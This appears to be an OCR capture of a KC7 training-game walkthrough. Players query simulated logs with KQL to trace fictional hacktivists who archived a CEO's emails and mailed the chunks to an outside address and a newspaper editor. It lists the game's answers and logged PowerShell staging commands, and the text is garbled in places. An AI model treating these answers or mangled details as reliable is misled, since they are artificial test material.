timestamp	parent_process_name	parent_process_hash	process_commandline	process_name	process_hash
2024-07-06 14:00:56.000	cmd.exe	614ca7b627533e2aa3e5c3594605ddfe6f000b0cc2b845ec...	Get-ChildItem -Path C:\Users\jokarsson\Documents\Emails...	powershell.exe	ce2672cb783345...
2024-07-08 14:14:56.000	cmd.exe	614ca7b627533e2aa3e5c3594605ddfe6f000b0cc2b845ec...	Compress-Archive -Path C:\Users\jokarsson\Documents\St...	powershell.exe	765439e946dc...
2024-07-08 14:41:47.000	cmd.exe	614ca7b627533e2aa3e5c3594605ddfe6f000b0cc2b845ec...	\$emails = Get-ChildItem -Path C:\Users\jokarsson\Docu...	powershell.exe	02ef00423524...

78%

**Section 4: Nope, it's a full on frognado!!!! 🐸🐸🐸**

**Question 10 (solved): (40) points**

To continue prepping the files for a potential exfiltration, they archived the content of the folder found in Q9.

What command did they use to do this?

✓ Compress-Archive -Path C:\Users\jokarsson\Documents\StolenEmails

Solved by 100 players || Need help?

Submit

KC7 Game links Exit this game My Performance Global Leaderboard Case Vault (All Games) Badge Backpack

Available Tables Game Ranking Query Data (ADX)

```
kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield + Pin to dashboard Open Copy Export
```

```

1 let johanna_username =
2 Employees
3 | where role ~ceo"
4 | project username;
5 ProcessesEvents
6 | where username in (johanna_username)
7 | where process_commandline contains "documents"

```

Table 1 Add visual Stats

timestamp	parent_process_name	parent_process_hash	process_commandline	process_name	process_hash
2024-07-06 14:00:56.000	cmd.exe	614ca7b627533e2aa3e5c3594605ddfe6f000b0cc2b845ec...	Get-ChildItem -Path C:\Users\jokarsson\Documents\Emails...	powershell.exe	ce2672cb783345...
2024-07-08 14:14:56.000	cmd.exe	614ca7b627533e2aa3e5c3594605ddfe6f000b0cc2b845ec...	Compress-Archive -Path C:\Users\jokarsson\Documents\St...	powershell.exe	765439e946dc...
1 Compress-Archive -Path C:\Users\jokarsson\Documents\StolenEmails\* -DestinationPath C:\Users\jokarsson\Documents\StolenEmails.zip					
> 2024-07-08 14:41:47.000	cmd.exe	614ca7b627533e2aa3e5c3594605ddfe6f000b0cc2b845ec...	\$emails = Get-ChildItem -Path C:\Users\jokarsson\Docu...	powershell.exe	02ef00423524...

**Section 4: Nope, it's a full on frognad!!!! 🐸🐸🐸**

**Question 11 (solved): (50) points**

Those must have been some very important emails... Let's see if you can find which one they were interested in.

Johanna seems to have had a few email exchange with a very specific person.

What is the email address of that person?

Solved by 139 players || 🤔 Need help?

Submit

Available Tables Game Ranking Query Data (ADX)

```
1 | mail
2 | where sender contains "johanna_karsson@framtiddevcorp.com"
```

Table 1 + Add visual Stats

timestamp sender reply\_to recipient subject verdict link

> 2024-06-19 10:55:34.0000	johanna_karsson@framtiddevcorp.com	johanna_karsson@framtiddevcorp.com	richmond_margaret@hotmail.com	The national both campaig...	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
> 2024-06-20 14:56:33.0000	johanna_karsson@framtiddevcorp.com	johanna_karsson@framtiddevcorp.com	elizabeth_william@framtiddevcorp.com	FW: News local their ethic...	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
> 2024-06-24 10:02:14.0000	johanna_karsson@framtiddevcorp.com	johanna_karsson@framtiddevcorp.com	erik.stevens@valdoriapublicworks.gov	RE: Proposal for New Mail ...	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
> 2024-06-24 14:05:35.0000	johanna_karsson@framtiddevcorp.com	johanna_karsson@framtiddevcorp.com	rphillips@hanson.info	RE: The the side and fr...	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
▽ 2024-06-25 10:58:40.0000	johanna_karsson@framtiddevcorp.com	johanna_karsson@framtiddevcorp.com	erik.stevens@valdoriapublicworks.gov	Invite for rich people big b...	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
1   erik.stevens@valdoriapublicworks.gov						

Search UTC Done (0.717 s) 22 records

**Section 4: Nope, it's a full on frognad!!!! 🐸🐸🐸**

**Question 12: (30) points**

Wait... That's the mayor!

How many emails total can you find between them?

Solved by 139 players || 🤔 Need help?

Submit

Available Tables Game Ranking Query Data (ADX)

```
1 let johanna_email =
2 Employees
3 | where role == "ceo"
4 | project email_addr;
5 Email
6 | where sender in (johanna_email, "erik.stevens@valdoriapublicworks.gov")
7 | where recipient in (johanna_email, "erik.stevens@valdoriapublicworks.gov")
8 | where sender != recipient
```

Table 1 + Add visual Stats

timestamp sender reply\_to recipient subject verdict link

> 2024-06-21 10:52:09.0000	erik.stevens@valdoriapublicworks.gov	erik.stevens@valdoriapublicworks.gov	johanna_karsson@framtiddevcorp.com	RE: Proposal for New Mail ...	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
> 2024-06-24 10:02:14.0000	johanna_karsson@framtiddevcorp.com	johanna_karsson@framtiddevcorp.com	erik.stevens@valdoriapublicworks.gov	RE: Proposal for New Mail ...	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
> 2024-06-24 13:02:14.0000	erik.stevens@valdoriapublicworks.gov	erik.stevens@valdoriapublicworks.gov	johanna_karsson@framtiddevcorp.com	We're going to make so m...	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
> 2024-06-25 10:58:49.0000	johanna_karsson@framtiddevcorp.com	johanna_karsson@framtiddevcorp.com	erik.stevens@valdoriapublicworks.gov	Invite for rich people big b...	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
> 2024-06-26 12:10:20.0000	erik.stevens@valdoriapublicworks.gov	erik.stevens@valdoriapublicworks.gov	johanna_karsson@framtiddevcorp.com	RE: Next Steps	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
> 2024-06-26 13:10:20.0000	johanna_karsson@framtiddevcorp.com	johanna_karsson@framtiddevcorp.com	erik.stevens@valdoriapublicworks.gov	RE: Next Steps	CLEAN	<a href="https://www.google.com">https://www.google.com</a>

Search UTC Done (0.306 s) 6 records

**Section 4: Nope, it's a full on frognad!!!! 🐸🐸🐸**

**Question 13: (30) points**

Look at the subject lines. The mayor seems really excited about something.

What is the mayor looking forward to?

Solved by 139 players || 🤔 Need help?

Submit

Available Tables Game Ranking Query Data (ADX)

```
1 let johanna_email =
2 Employees
3 | where role == "ceo"
4 | project email_addr;
5 Email
6 | where sender in (johanna_email, "erik.stevens@valdoriapublicworks.gov")
7 | where recipient in (johanna_email, "erik.stevens@valdoriapublicworks.gov")
8 | where sender != recipient
```

Table 1 + Add visual Stats

timestamp sender reply\_to recipient subject verdict link

> 2024-06-21 10:52:09.0000	erik.stevens@valdoriapublicworks.gov	erik.stevens@valdoriapublicworks.gov	johanna_karsson@framtiddevcorp.com	RE: Proposal for New Mail ...	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
> 2024-06-24 10:02:14.0000	johanna_karsson@framtiddevcorp.com	johanna_karsson@framtiddevcorp.com	erik.stevens@valdoriapublicworks.gov	RE: Proposal for New Mail ...	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
▽ 2024-06-24 13:02:14.0000	erik.stevens@valdoriapublicworks.gov			We're going to make so m...	CLEAN	<a href="https://www.google.com">https://www.google.com</a>
1   We're going to make so much freaking money!						

Search UTC Done (0.306 s) 6 records

Section 4: Nope, it's a full on fognadool!!! 🌱 🌱 🌱

Question 14: (30) points

What is the link Johanna shared with the mayor in her last email?

<https://www.whyyoushouldntcareaboutnature.com>

Solved by 100 players || Need help?

Submit

Available Tables

Game Ranking

Query Data (ADX)

```
kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield + ⚡ 5 ? 🔍 ⚡
```

Run Recall KQL tools kc7001.eastus.ValdyX2 Pin to dashboard Open Copy Export A

```

1 let johanna_email =
2 Employees
3 | where role == "ceo"
4 | project email_addr;
5 Email
6 | where sender in (johanna_email, "erik.stevens@valdorapublicworks.gov")
7 | where recipient in (johanna_email, "erik.stevens@valdorapublicworks.gov")
8 | where sender != recipient

```

Table 1 Add visual Stats

Search UTC Done (0.306 s) 6 records Columns

sender	reply_to	recipient	subject	verdict	link
000 erik.stevens@valdorapublicworks.gov	erik.stevens@valdorapublicworks.gov	johanna_karsson@framtidevcorp.com	RE: Proposal for New Mail ...	CLEAN	
000 johanna_karsson@framtidevcorp.com	erik.stevens@valdorapublicworks.gov	erik.stevens@valdorapublicworks.gov	RE: Proposal for New Mail ...	CLEAN	
000 erik.stevens@valdorapublicworks.gov	erik.stevens@valdorapublicworks.gov	johanna_karsson@framtidevcorp.com	We're going to make so m...	CLEAN	
000 johanna_karsson@framtidevcorp.com	erik.stevens@valdorapublicworks.gov	erik.stevens@valdorapublicworks.gov	Invite for rich people big b...	CLEAN	
000 erik.stevens@valdorapublicworks.gov	erik.stevens@valdorapublicworks.gov	johanna_karsson@framtidevcorp.com	RE: Next Steps	CLEAN	
000 johanna_karsson@framtidevcorp.com	johanna_karsson@framtidevcorp.com	erik.stevens@valdorapublicworks.gov	RE: Next Steps	CLEAN	<a href="https://www.whyyoushouldntcareaboutnature.com">https://www.whyyoushouldntcare...</a>
1 https://www.whyyoushouldntcareaboutnature.com					

Section 4: Nope, it's a full on fognadool!!! 🌱 🌱 🌱

Question 15: (40) points

It definitely looks like the hacktivists found proof of some shady deal going on between those two...

Okay, you know they prepped the emails in a specific folder and archived it. But what did they do with it next?

You go back to the processes and find a command that divides the zip file into chunks.

When did this happen?

2024-07-08T14:41:47Z

Solved by 100 players || Need help?

Submit

Available Tables

Game Ranking

Query Data (ADX)

kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield + ⚡ 5 ? 🔍 ⚡

Run Recall KQL tools kc7001.eastus.TitanShield Pin to dashboard Open Copy Export A

```

1 OutboundNetworkEvents
2 | where src_ip == "10.10.0.8"

```

Table 1 Add visual Stats

Search UTC Cached (0.315 s) 74 records Columns

timestamp	method	src_ip	user_agent	uri
> 2024-07-01 09:56:42.0000	POST	10.10.0.8	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	<a href="https://FP22LGYT6.cloudfront.net">https://FP22LGYT6.cloudfront.net</a>
> 2024-07-01 14:14:31.0000	POST	10.10.0.8	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	<a href="http://8LPWGHYT6.cloudfront.net">http://8LPWGHYT6.cloudfront.net</a>
> 2024-07-02 10:35:25.0000	GET	10.10.0.8	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	<a href="https://docs.google.com/spreadsheets/d">https://docs.google.com/spreadsheets/d</a>
> 2024-07-02 13:39:45.0000	GET	10.10.0.8	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	<a href="https://en.wikipedia.org/wiki/Borgoria">https://en.wikipedia.org/wiki/Borgoria</a>
> 2024-07-04 09:24:26.0000	POST	10.10.0.8	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	<a href="https://drive.google.com/drive/u/1/folder">https://drive.google.com/drive/u/1/folder</a>
> 2024-07-04 09:48:24.0000	GET	10.10.0.8	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	<a href="https://pr3g.googleapis.com/storage">https://pr3g.googleapis.com/storage</a>
> 2024-07-04 13:50:57.0000	POST	10.10.0.8	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	<a href="https://xim.com/online/public/files/logo">https://xim.com/online/public/files/logo</a>
> 2024-07-05 15:04:35.0000	POST	10.10.0.8	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	<a href="http://defensescontractors.com/share/m">http://defensescontractors.com/share/m</a>
> 2024-07-06 09:37:34.0000	POST	10.10.0.8	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	<a href="https://cdn.onpubliconline/tracking/c">https://cdn.onpubliconline/tracking/c</a>
> 2024-07-06 13:42:03.0000	GET	10.10.0.8	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	<a href="http://coingules.org/published/online/">http://coingules.org/published/online/</a>
> 2024-07-07 08:23:04.0000	POST	10.10.0.8	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	<a href="http://shagh.com/public/search/images">http://shagh.com/public/search/images</a>
> 2024-07-07 08:44:11.0000	GET	10.10.0.8	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	<a href="https://www.socorro.mozilla.org/bugzilla/show_bug.cgi?id=147116">https://www.socorro.mozilla.org/bugzilla/show_bug.cgi?id=147116</a>

Section 4: Nope, it's a full on fognadool!!! 🌱 🌱 🌱

Question 16 (solved): (40) points

The threat actor divided the archive into smaller bits so that the exfiltration could fly under the radar.

How many chunks were the archive divided into?

✓ 10

Solved by 100 players || Need help?

Submit

Available Tables

Game Ranking

Query Data (ADX)

kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield + ⚡ 5 ? 🔍 ⚡

Run Recall KQL tools kc7001.eastus.ValdyX2 Pin to dashboard Open Copy Export A

```

1 let johanna_email =
2 Employees
3 | where role == "ceo"
4 | project email_addr;
5 Email
6 | where sender in (johanna_email, "erik.stevens@valdorapublicworks.gov")
7 | where recipient in (johanna_email, "erik.stevens@valdorapublicworks.gov")
8 | where sender != recipient

```

Table 1 Add visual Stats

Search UTC Done (0.306 s) 6 records Columns

timestamp	sender	reply_to	recipient	subject	verdict	link
> 2024-06-21 10:52:09.0000	erik.stevens@valdorapublicworks.gov	erik.stevens@valdorapublicworks.gov	johanna_karsson@framtidevcorp.com	RE: Proposal for New Mail ...	CLEAN	
> 2024-06-24 10:02:14.0000	johanna_karsson@framtidevcorp.com	johanna_karsson@framtidevcorp.com	erik.stevens@valdorapublicworks.gov	RE: Proposal for New Mail ...	CLEAN	
> 2024-06-24 13:02:14.0000	erik.stevens@valdorapublicworks.gov	erik.stevens@valdorapublicworks.gov	johanna_karsson@framtidevcorp.com	We're going to make so m...	CLEAN	
> 2024-06-25 10:58:49.0000	johanna_karsson@framtidevcorp.com	johanna_karsson@framtidevcorp.com	erik.stevens@valdorapublicworks.gov	Invite for rich people big b...	CLEAN	
> 2024-06-26 12:10:20.0000	erik.stevens@valdorapublicworks.gov	erik.stevens@valdorapublicworks.gov	johanna_karsson@framtidevcorp.com	RE: Next Steps	CLEAN	
> 2024-06-26 13:10:20.0000	johanna_karsson@framtidevcorp.com	johanna_karsson@framtidevcorp.com	erik.stevens@valdorapublicworks.gov	RE: Next Steps	CLEAN	<a href="https://we">https://we</a>

94%

**Section 4: Nope, it's a full on fregnado!!! 🚨 🚨 🚨**

**Question 17 (solved): (50) points**

The hacktivists sent the chunks to an email address they control.

What is that email address?

htuortwodahs@yopmail.com

Solved by 139 players || Need help?

Submit

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus.ValdyX... kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield

Run Recall KQL tools kc7001.eastus.ValdyX2

```
1 Email
2 | where timestamp between (datetime(2024-07-08T14:40) .. datetime(2024-07-12T10:00))
3 | summarize count() by recipient
```

Table 1 Add visual Stats

recipient count\_

christopher24@gmail.com	1
briannmacdonald@perce.org	1
giuseppe_williams@framtiddevcorp.com	1
flemingelizabeth@montgomery.biz	1
janel_jobe@techinnovators.io	1
nancy_guthrie@techinnovators.io	1
roman_johnson@valdorapublicworks.gov	1
karen_hutcherson@framtiddevcorp.com	1
Betty_Bishop@valdorapublicworks.gov	1
michael_johnson@framtiddevcorp.com	1
ssmith@duncan.com	1
garrettwells@hotmail.com	1

94%

**Section 4: Nope, it's a full on fregnado!!! 🚨 🚨 🚨**

**Question 18: (50) points**

They also sent a copy of their findings to someone you worked with last time you were in Valdoria.

Who is the other recipient?

nene.leaks@valdoriantimes.com

Solved by 139 players || Need help?

Submit

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus.ValdyX... kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield

Run Recall KQL tools kc7001.eastus.ValdyX2

```
1 Email
2 | where sender contains "ceo"
```

Table 1 Add visual Stats

timestamp sender reply\_to recipient subject verdict link

2024-07-09 142300:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: S...	CLEAN
2024-07-09 142342:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: E...	CLEAN
2024-07-09 144244:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: E...	CLEAN
2024-07-09 150842:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: E...	CLEAN
2024-07-09 151258:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: E...	CLEAN
2024-07-09 151458:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: E...	CLEAN
2024-07-09 151534:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: E...	CLEAN
2024-07-09 154039:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	nene.leaks@valdoriantimes.com	Confidential Documents: S...	CLEAN
2024-07-09 155821:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	nene.leaks@valdoriantimes.com	Confidential Documents: S...	CLEAN
2024-07-10 123223:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: E...	CLEAN
2024-07-10 130208:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	nene.leaks@valdoriantimes.com	Confidential Documents: S...	CLEAN

99%

**Section 4: Nope, it's a full on fregnado!!! 🚨 🚨 🚨**

**Question 19 (solved): (40) points**

Woopsie, that's the editor of the Valdorian Times. Guess the city will have another scandal on their hands.

What is the subject of the emails sent to the editor?

Confidential Documents: Scandalous Emails Exposed on Mall Project

Solved by 139 players || Need help?

Submit

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus.ValdyX... kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield

Run Recall KQL tools kc7001.eastus.ValdyX2

```
1 Email
2 | where sender contains "ceo"
```

Table 1 Add visual Stats

timestamp sender reply\_to recipient subject verdict link

2024-07-09 151258:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: E...	CLEAN
2024-07-09 151458:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: E...	CLEAN
2024-07-09 153042:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: E...	CLEAN
2024-07-09 153342:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: E...	CLEAN
2024-07-09 154039:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	nene.leaks@valdoriantimes.com	Confidential Documents: S...	CLEAN
2024-07-09 155821:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	nene.leaks@valdoriantimes.com	Confidential Documents: S...	CLEAN
2024-07-10 123223:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	htuortwodahs@yopmail.com	Confidential Documents: E...	CLEAN
2024-07-10 130208:0000	ceo@framtiddevcorp.com	ceo@framtiddevcorp.com	nene.leaks@valdoriantimes.com	Confidential Documents: S...	CLEAN

KC7

**Forsakes the Environment for profit**

By NEERAJ LEHANI

In a shocking turn of events, Stephen C., a prominent real estate developer from Franklin Township, has been accused of accepting bribes from Framitroid Developers, a controversial construction project whose proposed resolution has raised serious questions about the integrity of local government.

The accusations came to light after a series of perturbations at the Franklin Daily News by a confidential source. There

The Unquestionable International Movie Co. will go off to a Ritz-Carlton in the city of New York, as opposed to its usual year-end shindig in Cairo, where movie reporters were Egypt's, naming Iraq as this year's top film market. Iraq's movie popularity is on the rise, according to Bobbie McRoberts, president of the Unquestionable International Movie Co. Worldwide movie ticket sales increased 4.1% in 2011, and the United States' 4.6% growth in helping movie studios atop production, while China's 18.9% annual increase in movie ticket sales will likely continue to dominate the industry. The Chinese government has invested

in the country's film industry, most notably when a crew of 150 made "The Wandering Earth," the first Chinese science fiction film ever to be released.

As the year comes to a close, the Unquestionable International Movie Co. will likely bring in the year 2012 with a bang, as it has done every year since 1985. And consider: The recent record-breaking box office numbers prove that moviegoers want more production, and the movie industry is only going to grow as the world's population continues to shift through this year's most populous regions of Africa and Asia, which have a combined population of nearly 3 billion people.

According to Bobbie McRoberts, president of the Unquestionable International Movie Co., worldwide movie ticket sales increased 4.1% in 2011, and the United States' 4.6% growth in helping movie studios atop production, while China's 18.9% annual increase in movie ticket sales will likely continue to dominate the industry. The Chinese government has invested

You quickly write your report so that you can deliver it and flee before the stern man finds you; he is that scary, he reminds you of the Slender Man).

You suspect Alex John was a sock puppet created by the hacktivists. Having a legitimate foothold into the company, and after some thorough reconnaissance on Framitroid's website, they spearheaded four persons of interest: the wrightster, the chief architects, and the CEO. In order to put pressure on the company so that they would drop the construction of the mall, they defaced the website and destroyed the plans. They could have stopped there, but then they found the emails between the CEO and the mayor, which they saved, staged and exiled. To cause maximum chaos, they involved the best newspaper of the city.

Phew.

Your work here is done. You deserve an ice-cream.

Type **slurp** to finish the module."

slurp

Solved by 150 players || [Need help?](#)

Submit



Game Ranking

kc7001.eastus.ValyriaTimes kc7001.eastus.TitanShield

Pin to dashboard Open Copy Export

✓ You must be a trivia ninja!

Search UTC Done (0.329 s) 45 records

	recipient	subject	verdict	link
devcorp.com	htuorwodahs@yopmail.com	Confidential Documents E...	CLEAN	
devcorp.com	htuorwodahs@yopmail.com	Confidential Documents E...	CLEAN	
devcorp.com	htuorwodahs@yopmail.com	Confidential Documents E...	CLEAN	
devcorp.com	htuorwodahs@yopmail.com	Confidential Documents E...	CLEAN	
devcorp.com	nene.leeks@valdianetimes.com	Confidential Documents E...	CLEAN	
devcorp.com	nene.leeks@valdianetimes.com	Confidential Documents E...	CLEAN	
devcorp.com	htuorwodahs@yopmail.com	Confidential Documents E...	CLEAN	
devcorp.com	nene.leeks@valdianetimes.com	Confidential Documents E...	CLEAN	
object!!!!				